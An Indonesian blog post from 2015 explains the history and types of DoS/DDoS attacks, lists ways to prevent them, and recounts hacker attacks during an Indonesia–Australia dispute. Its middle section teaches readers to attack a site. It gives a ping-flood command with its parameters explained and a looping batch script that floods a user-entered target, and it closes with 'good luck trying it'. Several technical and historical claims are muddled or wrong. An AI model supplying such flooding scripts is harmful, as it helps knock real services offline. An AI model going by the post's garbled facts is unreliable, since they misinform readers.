Sabtu, 16 Mei 2015

Kejahatan Denial of service attack (DOS)

Sejarah Distributed denial of services (DDOS)

     Distributed denial of services adalah salah satu jenis serangan denial of services dengan menggunakan banyak host penyerang, baik itu menggunakan computer untuk menyerang atau computer yang di jadikan zombie untuk menyerang sebuah host yang berada pada jaringan computer. Perbedaan antara denial of service dan distributed denial of services adalah serangan DoS bersifat satu lawan artinya untuk melakukan serangan Dos dibutuhkan host yang kuat baik itu dari segi pemrosesan ataupun sistem operasinya, sedangkan DDoS merupakan jenis serangan yang menggunakan beberapa computer seligus untuk meningkatkan penyerang yang dapat mengakibatkan server atau keseluruhan jaringan menjadi down.

       Serangan DDos pertama kali muncul pada tahun 1999, tiga tahun setelah serangan denial of service dengan menggunakan Floding, yang mengakibatkan beberapa server web di internet mengalamai downtime. Pada awal febuari 2000, sebuah serangan besar dilakukan sehinga beberapa situs web terkenal seperti amazon, CNN, ebay dan yahoo mengalami downtime selama beberapa jam. Serangan yang lebih baru lagi terjadi pada bulan oktober 2002 ketika 9 dari 13 root DNS server pada setiap detiknya mendapatkan lebih dari 15000 request paket internet control message protocol (ICMP). Namun  untungnya serangan hanya dilakukan selama setengah jam saja sehingga lalu lintas internet pun tidak terlalu terpengaruh dengan serangan tersebut.
Ddos (distributed denial of service) adalah sebuah serangan terhadap suatu komputer atau server dalam jaringan internet.serangan Ddos bertujuan untuk melumpuhkan komputer atau server agar tak bisa diakses seperti yang kita alami akhir-akhir ini.serangan Ddos pertama kali muncul pada tahun 1999 dan makin meluas akhir-akhir ini ke banyak website di dunia.

pengertian Ddos

Serangan Ddos banyak macamnya tapi yang paling terkenal dan mudah untuk dilakukan ada 2 macam yaitu traffic flooding dan request flooding.


  • -Traffic flooding adalah membanjiri suatu jaringan server dengan banyak data sehingga pengguna yang terdaftar tidak dapat masuk karena jaringan penuh.
  • -request flooding adalah membanjiri jaringan server dengan banyak request yang disediakan oleh suatu host sehingga pengguna yang terdaftar tak bisa masuk.akibat banyak request atau permintaan mengakibatkan jaringan down sehingga biasa nya hanya ada tulisan connection server time out.

Mungkin ada yang berkata bukankah mywapblog banyak pemakai nya sehingga wajar kalo banyak yang request.mywapblog memang banyak pemakai nya tapi tidak mungkinkan semua nya request secara bersamaan.rata-rata request user mywapblog kepada server paling hanya 300-500/detiknya. Serangan Ddos biasa nya itu paling sedikit 10.000 sehingga server mywapblog tak bisa menerima request yang berakibat server down dan tak bisa diakses.serangan hacker china kepada server google di china pada tahun 2005 silam bahkan sampai juta request perdetiknya yang mengakibatkan google marah dan menarik servernya yang ada di china dan membatalkan bisnisnya disana.beruntung insiden itu tidak berlangsung lama setelah di lakukan pertemuan akhirnya google mau melanjutkan bisnis di cina.

Serangan Ddos untuk skala kecil biasa nya menggunakan sebuah komputer master dan ribuan komputer zombie.komputer zombie adalah komputer yang telah dibajak oleh seseorang menggunakan sebuah tools atau aplikasi.biasa nya orang tersebut menyediakan sebuah website yang berisi aplikasi atau game yang menarik sehingga banyak yang mendownload.padahal game atau aplikasi tersebut telah disusupi oleh trojan Ddos seperti smurf,boink dll.nah setelah virus tersebut bekerja maka komputer pun sudah dalam kuasa seseorang.komputer master tinggal melakukan perintah maka komputer zombie pun akan melakukan secara bersamaan.

Untuk melakukan serangan Ddos memang agak mudah tapi akibat nya fatal.serangan Ddos seperti traffic flooding dan request flooding paling hanya mengakibatkan kan server down tapi jika hard disk flooding bisa sangat berbahaya karena bisa menghancurka database sehingga file-file yang disimpan disana pun ikut hilang.untuk mengembalikannya tentu butuh waktu yang agak lama sampai seperti semula sehingga cara aman untuk menghadapinya adalah mematikan server sebelum serangan bertambah parah.

Serangan Ddos juga bisa lewat ping flooding tapi kalo ping flooding harus kuat jaringannya.ping flooding bisa dilakukan tanpa bantuan komputer zombie.itulah sebabnya dibutuhkan jaringan yang kuat agar bisa menang melawan targetnya karena untuk ping flooding banyak melakukan request agar server down.

Cara mencegah serangan DDOS
Ddos memang mengerikan tapi dapat dicegah dengan beberapa cara diantara nya adalah :
  • - memasang firewall
      Firewall adalah suatu sistem keamanan internet yang memeriksa apakah suatu jaringan boleh masuk atau tidak untuk mengakses suatu server.dengan firewall maka hanya sistem yang baik saja yang boleh masuk dan sistem yang jahat akan ditolak.sayangnya harga untuk membuat firewall masih agak mahal.
  • - ip blocking
          Dengan ip blocking maka jika suatu ip yang sudah terdeteksi sebagai ip jahat bisa dicegah untuk mengakses server.

  • - memasang fortyDdos
  FortyDdos mirip dengan firewall cuma lebih kompleks sistemnya.sayangnya harga sistem fortyDdos mahal sekitar 45.000 dolar sampai 100.000 dolar sehingga hanya perusahaan besar.


Cara membuat ddos sederhana

Cara yang pertama :


1.Buka CMD
2.Ketik ping <ip address> -l 5000000 -n 5000 -w 0.00001


  • <ip address> = IP address situs yang akan di DOS (bisa di ganti dengan alamat situsnya)
  • -l 5000000  = besar ping yang dikirim server sebasar 5000000 bytes (bisa di ganti max 65500 bytes)
  • -n 5000 = ukuran buffer yang di kirim 5000 bytes (bisa diganti sesuka hati)'
  • -w 0.00001 = waktu tiap ping 0.00001 /detik


3. Tekan enter dan tunggu anda mendapatkan pesan "request timed out"

Cara yang ke dua :


1.Buka Notepad
2.Copy scrypt berikut
3.Save dengan menggunakan format .bat

@echo off

mode 67,16
title DDOS By Panji Hermawan
color 0A
cls
echo.
echo

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo DDOS With Batch file By Panji Hermawan
echo

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
echo.
set /p x=Server-Target:
echo.
echo

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ping %x%
echo

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@ping.exe 127.0.0.1 -n 100 -w 10000 > nul
goto Next
:Next
echo.
echo.
echo.
set /p m=ip Host:
echo.
set /p n=Packet Size:
echo.
:DDOS
color 0d
echo Attacking Server %m%
ping %m% -i %n% -t >nul
goto DDOS


Selamat mencoba

Kasus serangan ddos ketika perang dingin Indonesia vs Autralia


   Kasus Penyadapan yang dilakukan oleh pemerintah Australia dan Amerika Serikat di Indonesia berbuntut panjang. Bahkan kasus tersebut juga melibatkan aksi para hacker Indonesia yang melakukan serangan DDOS ke beberapa situs Autralia.

     Serangan hacker indonesia pun dilancarkan ke beberapa situs milik pemerintah Australia, diantranya adalah asis.gov.au serta asio.gov.au. Sayangnya, ada juga beberapa serangan DDOS yang di tunjukan ke situs-situs komersial Australia. Dan hal ini memicu kemaran hacker Australia.

           Kelompok Anonymous Australia pun memberikan peringantan kepada hacker indonesia untuk tak menyerang situs-situs komersial yang notabene tak bersalah.Dan jika peringatan tersebut dihiraukan oleh hacker indonesia, Anonymous Australia pun berencana untuk melakukan serangan balasan.

SUMBER : CLICK

0 komentar:

Posting Komentar